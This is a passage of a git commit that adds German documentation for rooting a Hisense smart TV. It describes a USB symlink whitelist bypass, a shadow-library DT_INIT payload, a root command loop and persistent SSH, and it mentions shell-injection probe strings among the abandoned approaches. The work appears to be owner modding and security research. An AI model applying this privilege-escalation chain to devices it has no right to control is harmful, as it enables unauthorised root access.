commit 26cd15d899fd4d89a514863dee725568a92ed985 Author: oOHiyoriOo Date: Tue Oct 27 15:56:27 2026 +0100 add stuff diff --git a/README.md b/README.md new file mode 100644 index 0000000..72936a5 --- /dev/null +++ b/README.md @@ -0,0 +1,194 @@ +# Hisense HE40E5600FFWTS — Root & Modding — Final Documentation + +**Ein Ordner, zwei Abteilungen, kein Suchen mehr.** +**TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94` +**Host:** Linux, Python 3, `arm-linux-gnueabihf-*`; Host-IP im Beispiel `192.168.188.150` +**Stand:** 2026-10-26 — Root + Dropbear-SSH (key-only) + PTY live bestätigt; Boot-Persistenz installiert (Reboot-Test offen). SFTP optional (statischer OpenSSH-sftp-server + gepatchter Dropbear). + +--- + +## Die drei Fragen in 30 Sekunden + +### Welches Linux? +**Hisense/MediaTek Embedded Linux**, kein Standard-Distro: +- Linux **3.18.25**, ARMv7 (Cortex-A53, NEON/VFPv4), MediaTek **MT53xx/MT5863**-Klasse (`mt53xx-emmc`, `mt5863_sa_768_linux`) +- **glibc 2.18**, **BusyBox 1.18.5**, SysV-Init (`inittab`/`rcS`/`rc.local`), **kein systemd** +- Kein `/etc/os-release`; Firmware `V0100.01.00A.N0410` +- **squashfs-ro**: `/` (38.8 MB, 100 %), `/3rd` (141 MB, 100 %) +- **ext4-rw**: `/3rd_rw` (1.1 GB, 56 %), `/data` (1.9 GB), `/perm` (3.9 MB); `/spdata` ro +- **Kein overlayfs** → Modding über rw-Partitionen + `mount --bind` + +### Gibt es einen Package Manager? +**Nein.** Kein `apt`, `dpkg`, `opkg`, `ipkg`, `rpm`, `apk`, `yum`, `pacman`; keine `/etc/opkg`/`/var/lib/dpkg`. +**Konsequenz:** statische ARM-Binaries/Shell-Skripte bauen, per `File.download`/SSH/`base64`/`tar` nach `/3rd_rw` bringen. Kein `opkg install`. + +### Wo ist das UI und wie läuft es? +TV-UI = Web-UI im **`hisenseUI`-Browser** (root, GLES): + +``` +/basic/autorun.sh (Zeile 168) + → /3rd/opera4x/hisenseUI/start-UI.sh + → ./bin/hisenseUI --hw-gles --jsplugins-dir=/3rd/UI_jsplugins \ + --disable-web-security ... -u /3rd_rw/UI/index.html +``` + +- **UI:** `/3rd_rw/UI/index.html` (PIXI), UI-Prozess `hisenseUI` (z. B. PID 589), DevTools **9223** +- **Launcher/Apps:** `/3rd_rw/appdata/launcher/` mit `preset.txt` (26 vorinstallierte Tiles), `Appinfo.json` (User-Apps), `deletedPresetApp.txt` (ausgeblendet), `data/Category*.xml`, `PicInfo.xml`, `res/` +- **LauncherService:** `/3rd/launcherservice/bin/LauncherService` (via `startLS.sh` aus `delayrun.sh`) +- **Native Apps / AM:** `/basic/app_man -c /basic/am_config -s /basic/am_start.ini`; `dtv_svc`, `netflix`, `dialserver`, `samba`, `browser_base`, `securetime`, …; Steuerung `:am,,:=` +- **Web-Browser (nicht das TV-UI):** `hisense_browser` (z. B. PID 1320), `run-Browser.sh`, `--hw-dfb`, `--allow-file-access-from-files`, DevTools **9224**; hier läuft die Recon-Seite. + +**UI ≠ Browser:** `hisenseUI` (TV-UI) und `hisense_browser` (Web-Browser) sind getrennte Prozesse mit eigenen Startskripten, Renderern, JS-Plugins und Debug-Ports. + +--- + +## Ordnerstruktur + +``` +hisense-he40e5600-root-modding/ +├── README.md # diese Datei +├── dead-ends.md # kurze Liste der Sackgassen +├── SHA256SUMS +├── root/ # ABTEILUNG 1: Root +│ ├── ROOT-GUIDE.md # kompletter Weg (manuell + Skripte) +│ ├── README.md # kurzer Index +│ ├── tools/ +│ │ ├── server.py # Host: Recon + /pub + /cmd + /recon + /dump +│ │ ├── recon.html # TV-Seite (fileXHR/listDir/HiBrowser-Hook) +│ │ ├── live_cmd.txt # optionaler Live-Kanal (leer) +│ │ └── pub/ # ausgelieferte Dateien +│ │ ├── libtvsysinfo.so # finaler Root-Payload +│ │ ├── dropbear/dropbearkey # statischer ARM-Dropbear 2022.83 +│ │ ├── dropbear-sftp # Dropbear mit SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server +│ │ ├── sftp-server # statischer OpenSSH-9.9p1-sftp-server +│ │ ├── authorized_keys # dein Public Key +│ │ ├── start_sshd.sh # Dropbear + passwd/PTY-Bindmounts +│ │ ├── root_loop.sh # Root-Kommandokanal +│ │ ├── hamservice-wrapper.sh # Boot-Hook +│ │ ├── deploy_sshd.sh # Installation als root +│ │ ├── verify.sh / rollback.sh +│ ├── scripts/ +│ │ ├── host/ +│ │ │ ├── prepare_usb.sh # ext4/MBR-Stick + tvi-Symlink +│ │ │ ├── start_http.sh # Server auf :9000 +│ │ │ ├── plant_payload.js # Payload durch tvi schreiben +│ │ │ ├── upload_to_appdata.js # Dropbear/Deploy nach appdata +│ │ │ ├── run_root_cmd.js # root_cmd/root_out +│ │ │ ├── build_payload.sh # Payload reproduzieren +│ │ │ ├── build_tvi_payload.py # Builder (deterministisch) +│ │ │ ├── build_dropbear.sh # Dropbear aus sources/ bauen +│ │ │ ├── build_sftp_server.sh # statischen sftp-server bauen +│ │ │ ├── patch_dropbear_sftp.py # Dropbear-SFTP-Pfad patchen +│ │ │ └── install_sftp.sh # SFTP installieren/testen/auf 22 tauschen +│ │ └── tv/ +│ │ ├── start_sshd.sh +│ │ ├── root_loop.sh +│ │ ├── hamservice-wrapper.sh +│ │ ├── deploy_sshd.sh +│ │ ├── verify.sh +│ │ ├── rollback.sh +│ │ ├── install_sftp_stage.sh # sftp-server + Test-Dropbear auf 2222 +│ │ ├── enable_sftp.sh # Tausch auf 22 planen +│ │ └── swap_sftp.sh # Tausch detached ausführen +│ └── artifacts/ +│ ├── tvi_original.so # Original-Lib (33.220 B) +│ └── keys/{authorized_keys,host-key-fingerprint.txt} +├── modding/ # ABTEILUNG 2: Modding +│ ├── README.md # Modding-Index/TL;DR +│ ├── 01-system-linux.md # Linux/SoC/Userland/PackageManager/Storage +│ ├── 02-boot.md # Boot, autorun, developer.sh, Services +│ ├── 03-ui.md # hisenseUI vs hisense_browser, UI-Daten, AM +│ ├── 04-modding.md # Rezepte: eigene App/UI/Services/Bloat +│ ├── 05-bloat.md # 26 Preset-Apps, Service-Matrix, Deaktivieren +│ ├── 06-toolchain-deploy.md # statisch ARM bauen/deployen, SSH/PTY +│ ├── 07-evidence-unknowns.md # Belege, Status, bekannte Unknowns +│ └── templates/ +│ ├── developer.sh # früher Root-Boot-Hook +│ ├── custom-app.json # Appinfo-Tile +│ ├── hide-preset.json # deletedPresetApp.txt +│ ├── custom-ui.html # minimale Custom-UI +│ ├── start-UI-custom.sh # start-UI.sh mit custom.html +│ └── README.md +└── sources/ + ├── dropbear-2022.83.tar.bz2 # Offline-Buildquelle + └── openssh-9.9p1.tar.gz # Offline-Buildquelle für sftp-server +``` + +--- + +## In 11 Schritten replizieren + +```bash +# 1) Host: Stick (DESTRUKTIV) +sudo root/scripts/host/prepare_usb.sh /dev/sdX +# 2) Host: Server +root/scripts/host/start_http.sh +# 3) TV: http://:9000/recon.html öffnen +# 4) TV-Konsole: USB-Dev anpassen, plant_payload.js ausführen +# -> /3rd_rw/loglevel/lib/libtvsysinfo.so (33500 B, SHA 37b13f…) +# 5) TV rebooten +# 6) Root prüfen: /3rd_rw/root_proof.txt = ROOT_EXEC_TVI +# 7) TV-Konsole: upload_to_appdata.js +# 8) TV-Konsole: run_root_cmd.js (deploy_sshd.sh) +# 9) ssh root@192.168.188.94 +#10) Rollback: /bin/sh /3rd_rw/appdata/rollback.sh +#11) SFTP optional: root/scripts/host/install_sftp.sh +# danach: sftp root@192.168.188.94 +``` + +**Vollständig:** [`root/ROOT-GUIDE.md`](root/ROOT-GUIDE.md) +**Modding:** [`modding/README.md`](modding/README.md) +**Sackgassen:** [`dead-ends.md`](dead-ends.md) +**Integrität:** `sha256sum -c SHA256SUMS` + +--- + +## Was der Root-Weg macht (Kurz) + +1. **Browser ist root:** `hisense_browser` UID/GID 0, `CapEff` voll, Single-Process, kein Seccomp. +2. **USB-Schreibprimitive:** dangling Symlink `tvi` auf ext4 → `IsSubDentry`-Bypass → neue Root-Datei. +3. **Loader-Shadow:** `libtvsysinfo.so` ist direktes `NEEDED`; `LD_LIBRARY_PATH`-Index 17 ist `/3rd_rw/loglevel/lib`; dort liegt die Shadow-Lib. +4. **DT_INIT-Payload:** appended Code am Dateiende, RX `p_filesz/memsz` erweitert, `DT_INIT=0x81c4`; unlink self, Proof, fork/exec `root_loop.sh`, Original-Init. +5. **Root-Loop:** `root_cmd.sh` → `root_out.txt`. +6. **SSH:** Dropbear 2022.83 statisch, key-only, `/etc/passwd`-Bind (Root-Home `/3rd_rw/sshd/home`), devpts auf `/dev/shm/pts` → bind `/dev/pts` (PTY), `HamService`-Wrapper für Boot-Persistenz. +7. **SFTP (optional):** Dropbear hat keinen eigenen sftp-server; statischer OpenSSH-9.9p1-sftp-server + Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`. Installation testet Port 2222, dann Tausch auf 22; danach `sftp root@…`. + +--- + +## Sicherheit / Spielregeln + +- **Kein Flash, kein `.pkg`, kein Bootloader.** Rootfs/`/3rd` sind squashfs-ro; Änderungen nur in `/3rd_rw`, `/data`, `/perm`, Bind-Mounts. +- **SSH ist key-only root im LAN.** Kein Passwort; privaten Key schützen; nicht ins Internet exponieren. +- **SFTP ist optional und root-equivalent.** Key-only wie SSH; Installation testet zuerst 2222, Backup `/3rd_rw/sshd/dropbear.nosftp`, Rollback im Root-Guide. +- **Der Root-Loop ist root-equivalent.** Wer `root_cmd.sh` schreiben kann (Browser root), kann Root-Befehle ausführen. +- **Backup vor UI-/AM-/Launcher-Eingriffen.** Besonders `/3rd_rw/UI/index.html`, `/3rd_rw/appdata/launcher/*`, `/basic/am_config`/`am_start.ini`. +- **SSH/Root als Rettungsweg behalten.** Kaputte UI = schwarzer Bildschirm; `hisenseUI` per SSH/root-Loop killen/neu starten, Seite aus Backup zurückholen. +- **`developer.sh` ist ein früher Root-Hook** (vor `ms_service`/UI/`app_man`/`delayrun`); Fehler dort können den Boot/UI beeinflussen. +- **`/3rd_rw/patch/opera4x` ist ein full bind mount** über `/3rd/opera4x`; nur mit vollständiger Kopie/Symlink-Baum; für einzelne Dateien lieber Datei-Bind-Mount via `developer.sh`. +- **Keine Secrets im Ordner:** kein Root-Hash, kein privater SSH-Key; nur Public Key + Host-Fingerprint. +- **Nicht alles ist getestet:** Root/SSH/PTY live; die Modding-Rezepte sind aus statischen/live Daten abgeleitet; Status in `modding/07-evidence-unknowns.md`. + +--- + +## Verifikationsstatus (Auszug) + +| Punkt | Status | +|---|---| +| Browser root / CapEff voll | **CONFIRMED live** | +| USB-ext4-Symlink-Bypass | **CONFIRMED live** | +| `libtvsysinfo`-Shadow / DT_INIT | **CONFIRMED live** (`ROOT_EXEC_TVI`, Self-Unlink) | +| Root-Loop / Kommandokanal | **CONFIRMED live** (`uid=0`, `root_out.txt`) | +| Dropbear-SSH / Port 22 / Pubkey root | **CONFIRMED live** | +| PTY / interaktive Shell | **CONFIRMED live** (pts/0) | +| SFTP (optional) | statischer sftp-server + gepatchter Dropbear; Installer testet 2222 vor 22; **TV-Test nach Install** | +| HamService-Boot-Persistenz | eingerichtet; Reboot-Test im Root-Guide | +| Modding-Rezepte / Custom UI / Bloat | **UNVERIFIED** (static/live abgeleitet, noch nicht alle ausgeführt) | + +**Host-Key (SSH):** `SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts` +**Dein Key:** `ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKLzgdRrwTGWMSHIurddPrQBY/2zOk+BlsU4jJWtPh/B` (Fingerprint `SHA256:RzgGjRHkR756azwKjS6mTClWOZFa/nyLMdi7TqgrHoY`) + +--- + +## Provenienz + +Der frühere Run-Ordner `docs/re/20261025-vidaa-takeover/` (im alten Projekt) bleibt als **Evidence/History** erhalten. Für die Replikation und das Modding brauchst du ihn nicht: dieser Ordner enthält den finalen Stand, die Binaries, die Skripte und die Doku. Die alten Experimente/Dead Ends sind in `dead-ends.md` kurz zusammengefasst. diff --git a/SHA256SUMS b/SHA256SUMS new file mode 100644 index 0000000..9161c4d --- /dev/null +++ b/SHA256SUMS @@ -0,0 +1,59 @@ +90c5f144744397470dfb6d86b7c155b26bb9cde392d6c27deea16744aa66c753 README.md +2b15e76d5995cded2b1d5af6c4ff0472aad9609f13aee27f7ffaf99d12fcae0a dead-ends.md +0b0332fe7d2972a788ca463636a670ec55de5cafbffd97ddbea59edb336c6455 modding/01-system-linux.md +b70b98634f0d9778bbe2348d545a7c49ab1b991803b260b0e3da58cbfe3690bb modding/02-boot.md +5b213bf5c880cd3d9960518e1e9b4fe4ae4753de720f2baf66da27fa9ecad257 modding/03-ui.md +6abefb924483dd01d34be2d4a113ce2d8155d01dce46b5c04fffb1ef3b825864 modding/04-modding.md +ee9ee9d0b4de8c6b1e4d286ea5fb472fd1c89e5163c3db49a1750967350a3e77 modding/05-bloat.md +9553dd4b6e9106fd44cd7cdad15395c94bb0609f4e43d01dc45fbd6531f8e89a modding/06-toolchain-deploy.md +6b7ed0400f8607037ae1f21abed02bd7581e8ce423fe2c28663de2e7f9cf3664 modding/07-evidence-unknowns.md +334b2d3798b232ecdb1fd1f053b6ed22973ee0f478d011ac82352ef69c2ae48d modding/README.md +5657331421529d0673a135234e47fb5c570ee353745c4f8a1c79b655ba55079c modding/templates/README.md +b98192e0ba231406905784661ca2cfe3a135b82522a13a67c7de405e8abe6561 modding/templates/custom-app.json +635939b220c182e9b23e689349cc151ce46ec7615f25c0dea1a6db744e271cc2 modding/templates/custom-ui.html +fa702068c60bf5877291f296241c12871997ba339b877d9cae5ddf8466512f52 modding/templates/developer.sh +89bcda4d6f0bc9a1cf28e5683c35f00a951afd6ceaae19ed856e7722a6e03469 modding/templates/hide-preset.json +160148a3098f24b3883d10d24622e395b6e0356499a205b3c33ca1cff6487618 modding/templates/start-UI-custom.sh +0aac0e9baab07548e20c1baefbd3d84f8bc60a5c0cb0945f4dbb9e7be16f18d2 root/README.md +f2183dba5fc0250b39ce9df043a6d9becab7cc9c88c1c6ac585e1b1118cf451b root/ROOT-GUIDE.md +b834af947b00f091d11d7e94212feeb791527aff9435f98bf4717024e0b2a92d root/artifacts/keys/authorized_keys +4bd0b539ee6dbaf3a4f702af45e455e7defab2aa881f01b034e6cb231646d3fa root/artifacts/keys/host-key-fingerprint.txt +36ddee4782cdcff7a0f1d94e8b3491ea6fe228d13bfef3ea137a98f142ff3b7c root/artifacts/tvi_original.so +39a51f98f020b998e1c346a033a8d9caa0affedeff3257febe2eae2c5700807c root/scripts/host/build_dropbear.sh +171704c0be1ebe7e99b1fb3ac864cb7a1dc30956b75f825f28c67b931f9771d8 root/scripts/host/build_payload.sh +3af50933596ea449c2e37730dadc1b05bd4ee8e339f095050ac87d299a51b1d5 root/scripts/host/build_sftp_server.sh +2602080b3df939d82562dd51d3cec431483f7ffb8676aff132cda700e14b0858 root/scripts/host/build_tvi_payload.py +76fc29e55e8af18177ba9ca6c51cc690507ef9d03e3cd52c34d453fc03c8f5c3 root/scripts/host/install_sftp.sh +9385c6cc839d62466668563aa3f7294679d6d23b2fad831668fd052bbc9ce994 root/scripts/host/patch_dropbear_sftp.py +30c28c6a93b05c73d64af48a8d81f20ef54cb4dbfb30ad761cefc867fcf9247a root/scripts/host/plant_payload.js +4305804dd57995e348798a5eda0ddf6d9b5f7d8c53ea90375e63577138e16be9 root/scripts/host/prepare_usb.sh +dde6d5706be0fbae1d9e0c7c0f5668319b4ecb2571a3b993510590815a93b058 root/scripts/host/run_root_cmd.js +d6709c26cee1b8ce6e0d95d68dab9f4177ecaddcedb892071c6a91390dd1fae2 root/scripts/host/start_http.sh +71c179f60e6db943f97f5ed869123c10e0e254d85fedc43f857ead620f15d79b root/scripts/host/upload_to_appdata.js +560c3a619eabe3149eca49912650f548800db209b3dba78b0ad1e772aab0e690 root/scripts/tv/deploy_sshd.sh +5d496c1e7232666ee670a0cecb5ff03473e863c42bf74bb61b9f1b898784b512 root/scripts/tv/enable_sftp.sh +e24e0b63d2073feba3479037945ff78654d10ec6af5a6e7a7019c02b8a9994da root/scripts/tv/hamservice-wrapper.sh +77b978d51a4751162fcb2ec342ec1d3e2362abdab9370c7f92e034670e73de8e root/scripts/tv/install_sftp_stage.sh +65744958837bdc4e7f4b2cf2a1ad68676bc88291689baf510b9b381f14512a45 root/scripts/tv/rollback.sh +4c93ff2c6a0a18b7760c8658ec52cd2fb2547760766f7ba7cecda598f5c0ad12 root/scripts/tv/root_loop.sh +8bc3c9e4dab2d813ef68715f7507dcba05d50c01dd5512379f5db1a8661b085e root/scripts/tv/start_sshd.sh +9b2b292c5bcb50c561b8640ddccd3c4aa5de4cca7b6449d31b1de91e1f73d193 root/scripts/tv/swap_sftp.sh +8610d7b571e2bc9420ca3f65c3cbcb0b67c3398c5857891f77099bf716b70625 root/scripts/tv/verify.sh +db19d6602fa3e08d7d7b8e08cdbfcd418c780ae39fbdd8b2d757a0ef0607ac7e root/tools/icon.png +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 root/tools/live_cmd.txt +b834af947b00f091d11d7e94212feeb791527aff9435f98bf4717024e0b2a92d root/tools/pub/authorized_keys +560c3a619eabe3149eca49912650f548800db209b3dba78b0ad1e772aab0e690 root/tools/pub/deploy_sshd.sh +976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae root/tools/pub/dropbear +a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57 root/tools/pub/dropbear-sftp +3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf root/tools/pub/dropbearkey +e24e0b63d2073feba3479037945ff78654d10ec6af5a6e7a7019c02b8a9994da root/tools/pub/hamservice-wrapper.sh +37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a root/tools/pub/libtvsysinfo.so +65744958837bdc4e7f4b2cf2a1ad68676bc88291689baf510b9b381f14512a45 root/tools/pub/rollback.sh +4c93ff2c6a0a18b7760c8658ec52cd2fb2547760766f7ba7cecda598f5c0ad12 root/tools/pub/root_loop.sh +d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3 root/tools/pub/sftp-server +8bc3c9e4dab2d813ef68715f7507dcba05d50c01dd5512379f5db1a8661b085e root/tools/pub/start_sshd.sh +8610d7b571e2bc9420ca3f65c3cbcb0b67c3398c5857891f77099bf716b70625 root/tools/pub/verify.sh +094f2f292f71e4f994db74fe7f6715f69f9751caadb56d4b3381a5c1b639b15e root/tools/recon.html +06940cda837f9f3691f88abff07a43ee45cabe1da5e09730de90545d00c17248 root/tools/server.py +bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b sources/dropbear-2022.83.tar.bz2 +b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02 sources/openssh-9.9p1.tar.gz diff --git a/dead-ends.md b/dead-ends.md new file mode 100644 index 0000000..a599d94 --- /dev/null +++ b/dead-ends.md @@ -0,0 +1,45 @@ +# Dead Ends — kurz, damit sie niemand wiederholt + +Diese Wege wurden untersucht und **verworfen**. Sie sind **nicht** nötig für den finalen Root-/SSH-/Modding-Weg. Details/History: alter Run-Ordner `docs/re/20261025-vidaa-takeover/` (Evidence). + +## Factory / AM / Keys +- **`Builtin Video` (Factory):** baut den Pfad aus dem `StoreModeDemo[Backup]`-Präfix neu; Suffix-Injection wird ignoriert → „can not find built-in video“. +- **`Write Keys` (Factory):** feste Dateinamen + File-API, kein `system()`/`popen()` mit Angreifer-Input. +- **AM `startApp`:** `:am,,:=` für start/stop/pause/resume/URL/backgm/foregm/shutdown/suspend/wakeup; **kein** `args`/`exec`/`run`. Shell-Injection-Versuche (`startApp("id>…")`, `sh -c`) negativ. +- **FAT32-USB-/Factory-Injection:** `factory_lite`-USB-Callback/Copy-Pfad nicht auslösbar; kein Root-Exec. +- **`checker.sh` / `file_upgrading` / `.pkg` / `bspatch`:** nicht als Root-Trigger genutzt; kein Flash/OTA-Weg. + +## V8 / FileReader +- Engine ist **Chromium 59.0.3071.115 / V8 5.9.211.38** (nicht 63/6.3, nicht 43/4.3 — das sind UA-Presets). +- Kein öffentlicher ARM32-Exploit für diese Kombination; Eigenbau wäre nötig. **Nicht benötigt**, weil der Loader-Shadow-Weg sauber root liefert. +- `navigator.requestMediaKeySystemAccess` ist in diesem Build **nicht verfügbar** → Widevine-/EME-CDM-Trigger als Root-Pfad tot. + +## `liblogLevel`-Shadow +- `/3rd_rw/loglevel/lib` ist Index 17 (erste schreibbare LD-Position), aber **`liblogLevel.so` existiert dort** → kann per Symlink-Trick nicht überschrieben werden (Ziel existiert → `realpath`-Prüfung schlägt zu). +- `libIQQILib` (RPATH `/3rd/iqqi/lib`), `libota`/`libhisensefileutils` (spätere LD-Positionen) als Shadow-Ziele verworfen; nur **`libtvsysinfo.so`** ist ein direktes `NEEDED` und an Index 17 frei. +- `liblogLevel`-/`ota`-/`hisensefileutils`-Payload-Varianten und die `/3rd_rw/ms-screen/lib`-Variante (`lib`-Symlink) sind **nicht** im aktiven Loader-Pfad; nicht nötig. + +## Schreib-/JS-API +- `File.write` mit Binärdaten → `EINVAL` (22); Text geht, Binary nicht. Binary-Write über **`File.download`** (curl) durch den Symlink funktioniert. +- `HiBrowser.loadLibrary`/`jsplugins`-Tricks: Lib wird aus `${OPERA_DIR}/jsplugins/` gebaut, aber nicht in den Prozess geladen; tot. +- Whitelist `IsSubDentry`: kein Trailing-Slash, `realpath` + Präfix; nur der **dangling Symlink** auf ext4-USB ist der Bypass. + +## USB +- **Whole-Disk-ext4 (Superfloppy, kein `sdX1`)** wird vom TV nicht gemountet; MBR + Partition nötig. +- **FAT32** kann keine Symlinks → kein Symlink-Bypass; ext4 nötig. +- Der `pwn`-Symlink war nur der Proof des Bypasses; der finale Weg nutzt **`tvi`**. + +## SSH +- Dropbear-Option **`-s`** existiert in diesem Build nicht („Invalid option -s“); Passwort-Auth ist **compile-time** aus (`DROPBEAR_SVR_PASSWORD_AUTH=0`). Startskript ohne `-s`. +- **PTY:** `/dev` ist statisches ro squashfs (kein devtmpfs); `mount -t devpts` direkt auf `/dev/pts` scheitert. Nur der Umweg **devpts auf `/dev/shm/pts` + bind `/dev/pts`** funktioniert; `/dev/ptmx` (5,2) bleibt statisch. +- `/etc/passwd`-Bindmount ist nötig, weil Root-Home `/basic` ro ist; `/etc/shadow` wird nicht angefasst (key-only). +- **SFTP/SCP:** Dropbear allein hat keinen sftp-server — das war der Grund für `sh: /usr/libexec/sftp-server: No such file`. **Kein Dead End mehr:** der finale Ordner liefert einen statischen OpenSSH-9.9p1-sftp-server + Dropbear mit `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`; Installation `root/scripts/host/install_sftp.sh` (Test auf 2222, dann 22). Danach funktionieren `sftp` und modernes `scp`. + +## UI-Experimente +- `/3rd_rw/launcher` und `/3rd_rw/VIDAAU2Launcher` sind **Alt-/Alternativ-Skins**; die aktive UI ist `/3rd_rw/UI/index.html` (`hisenseUI`). Die alten Launcher-HTML/JS sind nicht der aktive Einstieg. +- Die `preset`-/`deleted`-Probe-URLs (data:, javascript:, 127.0.0.1;cd…) sind unsere alten Experimente; im finalen Ordner nicht enthalten. Der TV-`deletedPresetApp.txt` wurde beim Cleanup geleert (`[]`, Stand 2026-10-26). +- `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService` sind für den Root-Weg nicht nötig; nur der `HamService`-Wrapper wird als Boot-Hook für SSH/Root-Loop genutzt. + +## Was stattdessen gilt +**USB-ext4 + `tvi` → `libtvsysinfo`-Shadow → DT_INIT-Root → Root-Loop → Dropbear/PTY → HamService-Wrapper.** +Das ist der finale, live bestätigte Weg. Alles andere ist optionales Modding (siehe `modding/`). diff --git a/modding/01-system-linux.md b/modding/01-system-linux.md new file mode 100644 index 0000000..f38e9dd --- /dev/null +++ b/modding/01-system-linux.md @@ -0,0 +1,209 @@ +# 01 — System: Linux, SoC, Userland, Package Manager, Storage + +**Ziel:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`. +**Quelle:** Live-Root-Reads am TV (`/proc`, `/lib`, `/bin`, `/etc`, Mounts) + statische Dumps. +**Status:** Systemfakten **CONFIRMED** (live/static); einzelne Hardware-/Bootloader-Details `UNVERIFIED`. + +--- + +## 1. Linux / Kernel + +```text +Linux version 3.18.25 (gfkfcmo@docker01.89.12045.pzgl.com) +(gcc version 4.8.2 20131014 (prerelease) (Linaro GCC 4.8-2013.10) ) +#1 SMP PREEMPT Mon Apr 10 17:40:02 CST 2023 +``` + +- **Kernel 3.18.25**, ARM (32-bit), SMP, PREEMPT. +- Gebaut mit **Linaro GCC 4.8.2** (2013.10), Build 2023-04-10. +- **Kein** Standard-Distro-Userland, **kein** `/etc/os-release`, **kein** `/etc/issue`, **kein** `/etc/version`. +- Firmware-Kennung: `V0100.01.00A.N0410`. + +### Kernel-Cmdline (Auszug, `/proc/cmdline`) + +```text +rootwait rootfstype=squashfs ro console=ttyMT0,115200n1 vmalloc=512mb quiet +mtdparts=mt53xx-emmc:2M(ubootA),2M(ubootB),256k(bt_flag),256k(ra_data), +2M(uboot_envA),2M(uboot_envB),5M(kernelA),5M(kernelB),40M(rootfsA),40M(rootfsB), +256k(basic),8M(perm),205M(3rd_ro),1152M(rw_area),256k(reserved),1M(channelA), +1M(channelB),4M(pq),4M(aq),48M(logo),1M(acfg_descr),256k(part_21),4M(adsp), +256k(part_23),256k(part_24),1M(eeprom_A),1M(eeprom_B),8M(facset),1M(hiscfg), +2040M(data),1M(cidata),1M(dbdata),40M(spdata),100M(swapdt) +root=/dev/mmcblk0p9 usbportusing=1,1,1,0 ... adb_enable=0 +androidboot.serialno=000018300ced9b74 ... +``` + +- **Bootmedium:** eMMC (`mmcblk0`), MediaTek **`mt53xx-emmc`**-Partitionierung. +- **Rootfs:** `/dev/mmcblk0p9` (rootfsA), **squashfs ro**; A/B-Slots für U-Boot/Kernel/Rootfs. +- **`/3rd`:** Device-Mapper **`dm-3`**, squashfs ro (~141 MB). +- **`console=ttyMT0,115200n1`**: serielle Konsole existiert, ist aber nicht angeschlossen (kein Öffnen des TVs nötig). +- **`adb_enable=0`**: kein ADB. +- **U-Boot-Env:** `fw_printenv` meldet **„Bad CRC, using default environment“** und zeigt nur einen NFS-Default (`bootcmd=bootp...`). Die **echte** Boot-Konfiguration ist die `/proc/cmdline`; das U-Boot-Env ist **nicht** verlässlich (UNVERIFIED im Detail). + +### CPU / SoC + +`/proc/cpuinfo`: + +```text +model name : ARMv7 Processor rev 4 (v7l) +Features : half thumb fastmult vfp edsp neon vfpv3 tls vfpv4 idiva idivt vfpd32 lpae evtstrm +CPU implementer : 0x41 +CPU architecture: 7 +CPU part : 0xd03 +CPU revision : 4 +``` + +- **ARMv7**, Cortex-A53 (`part 0xd03`), NEON/VFPv4, Thumb-2. +- **SoC-Klasse:** MediaTek **MT53xx/MT5863** (Belege: `mt53xx-emmc` in cmdline; Browser-Build `mt5863_sa_768_linux` in `run-Browser.sh`; `mt5863` im Build). +- **Exakte Kernanzahl** aus dem Dump: `processor 0..2` sichtbar; `mt5863` ist 4×A53. Als **4 Kerne** dokumentiert, exakter Count `UNVERIFIED` (der Dump war auf 28 Zeilen begrenzt). +- **GPU:** ARM Mali (`/3rd/Arm_Mali`, `/basic/lib/libMali.so`, `ins_arm_mali_mod.sh`); die UI nutzt GLES (`--hw-gles`). + +--- + +## 2. Userland + +### libc / Laufzeit + +- **glibc 2.18**: + - `/lib/ld-linux.so.3`, `/lib/ld-2.18.so` + - `/lib/libc-2.18.so`, `libm-2.18.so`, `libdl-2.18.so`, `libpthread-2.18.so` + - `/lib/libstdc++.so.6.0.18`, `libgcc_s.so.1` +- **ABI:** ARM EABI5, hard-float (VFPv4), `Tag_ABI_align_needed: 8-byte`. +- **Zusätzliche Libs:** `/basic/lib` (libcrypto/ssl/curl/nss/…), `/3rd/lib` (libxml2/mxml/iconv/…), `/3rd_rw/opera4xLib` (Browser-Libs), `/lib` (glibc). +- **Dynamische Binaries** brauchen die TV-glibc 2.18. **Statisch** ist der sichere Weg (siehe `06`). + +### BusyBox / Shell + +- **BusyBox 1.18.5** (Build 2017-12-05), multi-call. +- **Viele Applets sind nicht als Symlink vorhanden** (`uname`, `tr`, `tail`, `id` fehlen z. B. als `/bin/`); nutze: + ```sh + /bin/busybox uname -a + /bin/busybox tail -n 10 /pfad + /bin/busybox tr '\0' '\n' < /proc/.../environ + ``` +- `/bin/sh` existiert (Shell), `/bin/bash` ebenfalls; `/bin`, `/sbin`, `/usr/bin`, `/basic/bin` gemischt. +- Nützliche vorhandene Tools: `mount`, `umount`, `insmod`, `mknod`, `mkfs.ext4`, `tar`, `sed`, `grep`, `awk`, `find`, `ping`, `nc`? (nicht geprüft), `ps`, `kill`, `reboot`, `fw_printenv`, `busybox`. +- **Nicht vorhanden / nicht gebaut:** `uname` (Applet), `tr` (Applet), `id` (Applet), `ssh`, `sshd`, `scp`, `sftp`, `opkg`, `apt`, `dpkg`, `rpm`, `curl` (BusyBox), `wget`? (nicht geprüft), `python`, `perl`. + +### Init / Services + +- **SysV-artig**, **kein systemd**: + - `/etc/inittab`: `id:3:initdefault:`; `1:012345:respawn:/sbin/getty -L ttyMT0 115200 vt100`; `si::sysinit:/etc/init.d/rcS`. + - `/etc/init.d/rcS`: `source /etc/profile`; `mount -avt nonfs,nosmbfs`; `/etc/rc.d/rc.local`. + - 